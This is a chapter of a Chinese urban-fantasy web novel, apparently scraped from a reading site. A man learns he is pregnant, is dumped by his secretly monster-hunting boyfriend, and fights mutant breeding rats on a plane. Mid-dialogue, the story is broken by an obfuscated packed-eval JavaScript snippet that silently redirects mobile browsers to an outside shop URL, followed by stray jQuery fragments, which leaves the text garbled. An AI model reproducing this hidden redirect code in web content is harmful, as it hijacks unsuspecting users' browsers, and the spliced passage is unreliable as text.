文趣网 > 都市小说 > 成为邪神母体后渣男马甲全炸了 > 1. 怀孕分手花枝鼠
    连续加班一个月后,沉鱼得了一种一看工作消息就想吐的病。

    正好公司发了体检卡,于是一放假,立刻预约上。

    体检报告出得很快,各项指标都很干净,唯独孕酮素不太正常。

    然后医生告诉他怀孕了。

    “可我是个男的。”

    “现在这世道,男的也能怀孕了。”

    沉鱼以为自己加班终于加出了幻觉。

    眼前的医生非常年轻,头发也过于茂密。

    他憋了好一会儿,才小心翼翼地开口:“医生,您说这报告有没有可能拿错了?男的、男的怎么可能怀孕呢?”

    “怎么不能?”年轻医生眉头一挑,“现在这世道,不光直肠能怀,心肝脾肺肾都能怀。”

    沉鱼被这话震住了。

    他突然想起昨天刷到的一则新闻。

    震荡期来临后,一只宠物花枝鼠体型暴涨,跳起来就咬人。

    结果那主人也不是吃素的,当场抓住花枝鼠的尾巴,一口一口把它生吞进了肚子里。

    所以,现在到底是个什么世道?

    他只知道,现在就是个精神病横行的世道。

    于是沉鱼怒而起身,指着年轻医生的鼻子:“你这个庸医,根本就是个疯子,我要投诉你!”

    忿忿不平地离开医院,沉鱼立刻联系男友,把手机键盘敲得噼里啪啦响。

    [一条半死不活的鱼:在忙吗?]

    [一条半死不活的鱼:你知道吗我刚刚在医院遇到了一个奇葩!!]

    过了好一会儿,男友的消息才回过来。

    [方循:在忙]

    两个字像一盆冷水,陡然浇灭了沉鱼喷薄的吐槽欲。

    他发了个问号过去。

    [一条半死不活的鱼:?]

    [方循:待会儿见个面吧,有件事想和你说]

    [一条半死不活的鱼:有屁现在就放]

    [方循:好吧]

    [方循:我是觉得有点腻了]

    [方循:我们分手吧]

    [一条半死不活的鱼:???]

    沉鱼紧紧盯着屏幕,两条眉毛狠狠扭在一起。

    腻了?

    什么叫腻了?

    他深吸一口气,拨通了方循的电话。嘟嘟嘟半分钟后,电话终于接通。

    “你什么意思?”

    沉鱼努力压抑自己的声音,但愤怒的吐息还是从每一个字的间隙里迸发出来:“你最好给我一个理由!”

    电话那边的男人叹了口气:“你知道的,我很忙,没有那么多时间总是和你聊天。”

    “所以你就要和我分手?”

    “你脾气也不太好,让我压力很大。对不起,是我配不上你。”

    “……”

    “你去死吧!”

    电话挂断,忙音嘟嘟嘟地灌进耳朵。

    方循僵硬地举着手机,耳膜还残留着那道愤怒的声响,被震得脑袋嗡嗡直转。

    片刻之后,他还是放下手机,回头看向身后的房间。

    这是一间鼠房。

    自从变异老鼠事件发生后,这地方就成了人间炼狱。

    到处都是老鼠的尸体和啃碎的残肢,红红白白的液体溅在墙上,活像个屠宰工厂。

    作为临时打鼠大队的一员,方循的工作就是回收所有的变异老鼠。

    窸窸窣窣。

    这时身后忽然响起一阵细碎的动静。

    下一秒,一只硕大如猪的老鼠猛地朝方循扑来。

    那老鼠毛皮黢黑,一条肉色尾巴足有半米长。

    方循眉头一皱,却没有躲避,而是微微侧身,凌空一踢,便将它一脚踹到了墙上。

    凄厉的惨叫中,墙面砸出一个蜘蛛网般的皲裂大坑。

    “这玩意儿简直像蟑螂一样恶心,繁殖力巨强,怎么杀都杀不完!”同事喻七在身后抱怨。

    “别废话,赶紧处理现场。”方循似乎心情不太好,皱着眉头发号施令,“还有几只小老鼠没找到?”

    “两只。”

    一群人吭哧吭哧地开始拖拽老鼠尸体。

    方循重新掏出手机,消息界面依然停在那三个问号上。

    喻七瞄了一眼他的脸色:“又是你那个小男友?”

    方循埋头“嗯”了一声,又说:“不是男友了。”

    “什么意思?”

    “分了。”

    “啊?什么时候?”

    “就在刚刚。”

    喻七两只小眼睛都被撑大了:“我还以为你挺喜欢他来着?”

    “为了任务而已。”

    “啧啧啧,你这样,好像那种提了裤子就跑的渣男啊。”

    方循有些不悦,显然不想再谈这件事,只沉默地站在原地,看同事们干活。

    夏水在旁边瘪了瘪嘴:“你这就不懂了吧,就因为是真爱,所以才要分手嘛。”

    她几乎是阴阳怪气地说:“你也不看看方循的污染值多高。就他那个男友……叫沉鱼是吧?一个普通人,连黄昏遗迹都没接触过,被卷进来怎么死的都不知道。想要保护他,当然还是分了好。你说是不是啊,老大?”

    “别废话。”方循直接打断她,语气很冷,“赶紧工作。”

    “切。”

    夏水不情不愿地回去继续收拾老鼠尸体,但中途接了个电话,脸色忽然变了。

    “有件事不太妙。”

    “二组那边发现了小老鼠皮肤剥落的痕迹,说是往机场方向去了。要是这些东西逃到黄昏遗迹和现实世界的交界地带,那就麻烦了。”

    繁殖能力强,意味着一旦逃到合适的地方,就会拼命生小老鼠。

    方循的神色骤然严肃起来。

    “具体方位?”

    “十八区,南云山机场。”

    *

    半年前,中央塔发布了震荡期预警。

    所谓震荡期,官方说法是二百五十年前的那场大战导致地球磁场改变,从而造成的某种周期性的灾害,短则十年一遇,长则二十年一遇。

    震荡期期间,地震、海啸、飓风等自然灾害频发;幻听、幻视、群体性癔症也成了季节性的常见病。

    震荡期一来,飞机停飞,交通瘫痪,一切全都乱糟糟的。

    就像沉鱼现在的心情一样。

    他回到两人合住的公寓,开始收拾东西。

    钥匙搁在茶几上,只带走几件衣服和一只石头吊坠,拖着行李箱,径直去了南云山机场。

    直到坐上狭窄的经济舱,沉鱼才重新想起那份被丢在医院垃圾桶里的体检报告。

    他下意识摸了摸肚皮。下面似乎有什么东西轻轻动了一下。

    错觉吗?

    他没有多想,裹紧身上的衣服,就这么睡了过去。

    迷迷糊糊中,他好像又回到了和方循第一次见面的那天。

    那是大半年前,公司组织的一次团建,去了大名鼎鼎的5S风景区,十八里雾海沟。

    景区非常漂亮。

    海子绚丽,雾气朦胧,大大小小地隐藏在群山之中。

    据说,那些都是神灵遗落在人间的眼睛。

    当时沉鱼一个人沿着海子边的栈道往前走,漫步在雾气里,心里说不出的兴奋。

    然后一不小心,掉进了水里。

    那天景区发生了一场小型山体滑坡,除了沉鱼,还有十几个倒霉蛋也被波及。

    被人从海子里捞起来后,出现在沉鱼面前的,是一张英俊到有些冷酷的脸。

    他说,他叫方循。

    那天之后,方循就对沉鱼展开了猛烈的追求。

    那个帅到令人窒息的男人,经常捧着一大束玫瑰花,招摇过市地等在公司楼下。

    直到沉鱼忍无可忍,愤怒地问他究竟想干什么。

    男人才拿出一枚小巧的银色钥匙,说,如果可以,我想和你一起生活。

    “你想得倒是很美!”

    沉鱼直接气笑了,却第一次没有转身离开。

    两个月后,他们在一起了。

    搬进公寓楼那天,方循再次把钥匙放在沉鱼手心。

    这一次,沉鱼没有拒绝。

    公司的饭搭子听说这件事,上下打量了沉鱼一圈,酸溜溜地说:“刚在一起就同居,要是个骗子怎么办?不会把你发卖到外海的小岛上吧。”

    他当时怎么说的来着?

    是了,他得意地昂起下巴:“哼哼,是骗子我也喜欢。”

    “看你笑得那副不值钱的样子。”饭搭子非常嫌弃地冲他摆摆手。

    结果她说对了。

    骗子。

    方循根本就是个骗子。

    *

    沉鱼是被头顶的声响吵醒的。

    窸窣窣,像有什么东西在行李架上爬动。

    梦境里的愤怒还没褪尽,连带着这股声音也让他憎恨起来。

    他恶狠狠地睁开眼,瞪向过道隔壁的男人。

    那是个年轻背包客,登机时带着一个大登山包。按理说只有从那里面掏东西,才会发出这种惹人烦躁的声响。

    可眼神杀过去时,对方手里却空空如也,背包正好端端放在行李架上。

    沉鱼一愣。

    背包客倒看着他,犹豫了一下,问:“你怎么了?”

    “我没事。”

    “可是你……”

    背包客指了指沉鱼的脸。

    沉鱼抹了把脸颊,才发现自己竟然哭了。

    “晕机而已。”

    “你刚刚明明睡得很香。”

    “我说晕机就是晕机!”

    背包客嘴角嚅动几下,用看神经病的眼神看了他一眼,最终还是挪开视线,闭上眼开始假寐。

    过了一会儿,那窸窸窣窣的声音又响了起来。

    爪子刮过塑料,又尖又细,听得人浑身发毛。

    “什么声音?!”

    “蟑螂吗?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764611|209661||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    其他乘客陆续注意到了这异常的动静。

    前座一个一米八的壮汉唤来空乘小姐,脸色苍白地指向行李架:“你们航司怎么回事,飞机上怎么敢有蟑螂的!”

    空乘小姐的笑容像焊在脸上。

    “先生您先别激动,按理说飞机上是不会有蟑螂的。”

    她一边安抚壮汉的情绪,一边利落地打开行李架舱门检查。

    沉鱼看着她的动作,心里忽然涌上一股不安。

    下一秒,行李架的黑暗中猛地窜出个什么东西,一把扒住了空乘小姐的脖子。

    空乘小姐尖叫了半声便跪了下去,血从她捂着脖子的指缝里涌出来。

    沉鱼终于看清了那东西。

    是一只老鼠。

    但不是普通的老鼠。

    它长得像只小猪,毛皮油滑发黑,肚皮鼓鼓囊囊,把四肢撑得向外翻卷。

    沉鱼愣在原地,脑海中陡然闪过那则新闻。

    来不及多想,他抓起外套便捂住了那只体型过大的老鼠,将它从空乘脖子上扯下来,狠狠摔在地上,顺手摸到行李架里的小行李箱,举起来就砸。

    一下,两下,三下。

    每一下都结结实实,直到外套下面不再动弹,他才停下来。

    装睡的背包客早已被刚才的动静震醒,站在旁边看得目瞪口呆。

    但事情还没有结束。

    沉鱼弯腰想把空姐拉起来,却见地上的外套传来一阵密密麻麻的涌动。紧接着,一群指甲盖大小的小老鼠从衣服底下涌了出来。

    而那只大肚子的老鼠早已被开膛破肚,只剩一张干瘪的皮,紧紧贴在过道上。

    这些小老鼠一出生,天生就知道怎么攻击人。

    它们沿着座椅开始乱窜,其中一只窜到一米八大汉的脚边,噌地跳起来咬住小腿。大哥疼得嗷一声,一巴掌下去,小老鼠被拍扁,另一只又跳了上来。

    然后,更恐怖的事情发生了。

    进食之后,小老鼠开始以肉眼可见的速度膨胀。肚子越撑越大,几秒钟便裂开,又一群小老鼠被“生”了出来。

    短短十几分钟,整个机舱已经成了老鼠的海洋。

    “操!这些该死的老鼠!”

    “好痛!!”

    “妈妈、妈妈,我的机器人掉了!机器人……不要……我要机器人……”

    噩梦般的景象在沉鱼眼前铺展开来。

    尖叫、呻吟和怒吼交织在一起,鲜血染红了座椅和过道。沉鱼的胃部一阵翻涌,差点吐出来。

    坐上这趟飞机之前,他并不讨厌花枝鼠,甚至可以说是喜欢。

    他专门关注了养花枝鼠的博主,还计划着以后买一只“灰白熊”当宠物。

    可这些关于未来的细碎期待,全都随着那场突如其来的分手,碎得一干二净。

    而这一切,似乎又是从他刷到那条花枝鼠吃人新闻开始的。

    这时,肚子又动了一下。

    不是错觉,确实有什么东西在他肚皮下面翻滚。

    会是老鼠吗?

    还是……?

    沉鱼低头看了看自己的肚子,却忽然抬起头,冲着眼前密密麻麻的小老鼠怒吼出声:

    “去死吧!”

    “去死吧!”

    “去死吧!”

    小行李箱被暴力扯开,拉杆提在手上,就像提着一把刀。

    他直接冲进了老鼠堆里。

    所有的不解和突然被分手的愤怒,都在这一刻彻底爆发。

    一拉杆下去,一串小老鼠被扫开。

    拉杆上沾满鼠血,滴滴答答往下淌,看起来好不残忍。

    片刻之后,蠕动的鼠群都避开了沉鱼,在他脚下形成一片诡异的真空地带。

    看着沉鱼疯狂的样子,背包客下意识地往后退了一步。

    他原以为沉鱼只是有点神经质,结果何止是有点。比起那些吃人的老鼠,反而是鼠群中不停厮杀的青年显得更加诡异。

    正想着,沉鱼红着一双眼睛,忽然直直朝他看过来。

    “怎、怎么了?”背包客忍不住又退一步。

    沉鱼没有回答,提着沾满鼠血的拉杆,红着眼一步步逼近。

    背包客下意识转身想逃,一回头,却倒吸了一口凉气。

    机舱深处不知何时出现了一只巨型花枝鼠。

    它的肚子鼓成一颗巨大的气球,被撑得半透明,里面密密麻麻挤满了小老鼠,像一滩黑色的水在皮肤下流动。

    此刻,那双灯笼一样的绿眼睛正死死盯着他们的方向。

    大惊之中,沉鱼已来到背后,一把将人掀开。

    声音从背包客耳边流过:“让一下,你挡路了。”

    背包客下意识偏了偏身子。

    只见沉鱼提着滴血的拉杆,跨过狭窄的过道,冲着对面那庞然大物笑了一声。

    “来啊,弄死我,正好连肚子里这个不知道是什么的东西一起下地狱。”